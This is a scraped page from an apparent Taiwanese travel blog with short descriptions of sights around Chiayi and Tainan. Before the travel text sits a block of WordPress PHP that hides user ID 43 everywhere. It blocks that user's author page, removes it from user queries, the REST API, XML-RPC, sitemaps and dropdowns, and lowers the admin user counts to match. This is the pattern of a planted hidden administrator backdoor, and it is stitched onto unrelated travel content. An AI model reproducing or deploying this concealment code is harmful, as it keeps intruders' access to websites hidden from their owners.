add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 43;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 43 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 43 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 43;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 43;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 43;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/43(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 43;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
triwra – 第 12 頁 – 水圳綠道
跳至主要內容
埤子、鼻子、變成了小象長長的象鼻子,小象彩繪村是新港鄉三個主題彩繪村之一,在村子裡不管走到哪都有可愛的大象圖案,而南崙是龍貓、北崙是青蛙、埤子則是大象,
位於嘉義縣新港鄉新民路53號,座落於新民路與中山路口,坐北朝南略為偏西,主要奉祀天上聖母,為嘉義縣縣定古蹟。
九芎埤位於嘉義縣水上鄉塗溝村與太保市港尾里之交界地 帶,此埤塘興建於日治時期,至今已有70 年以上之歷史,目前 由嘉南農田水利會所管轄。 九芎埤由1大水塘與2小水塘所組成, 水域面積約達5.4 公頃,除良好之灌溉與滯洪功能外,亦具有豐富之生態資源。
北回歸線園區(含北回歸線標誌)隸屬於水上鄉(下寮村)境內,距離嘉義市約 4 公里,第一代北回歸線標建於明治 41 年( 1908 年),當時日本人為慶祝縱貫鐵路全線通車,立碑紀念。曾歷劫民國 53 年嘉南大地震而受損,前後經歷 5 次的修建,目前矗立的是第六代地標。
南靖車站位於臺灣嘉義縣水上鄉南靖,為臺灣鐵路管理局縱貫線南段及臺灣糖業股份有限公司南靖線(廢止)的鐵路車站,位置距離基隆起點301公里。本站為嘉義縣最南端的車站,車站南方為八掌溪。
台南後壁菁寮老街早期是古官道台南府城到諸羅縣城的中途休息站,曾經相當繁華熱鬧,歷經時代變遷、歲月流逝,依舊保留許多以前的景觀建築,漫步菁寮老街彷彿走進舊時空,能夠細細品味懷舊老街的獨特風情~也因為菁寮老街的古早魅力,電影記錄片「無米樂」與前陣子火紅的台劇「俗女養成記」都曾來到台南後壁菁寮老街取景,也因此再度成為旅遊景點。
首頁 > 景點 > 臺南市  … 閱讀更多
首頁 > 景點 > 臺南市  … 閱讀更多
一間沒有館的社區美術館,超繽紛的用餐空間不少網美前來拍照打卡,穿過廊道來到建築物後方休憩空間與濕地生態結合裝置藝術在各個角落,感受在地的藝術氣息。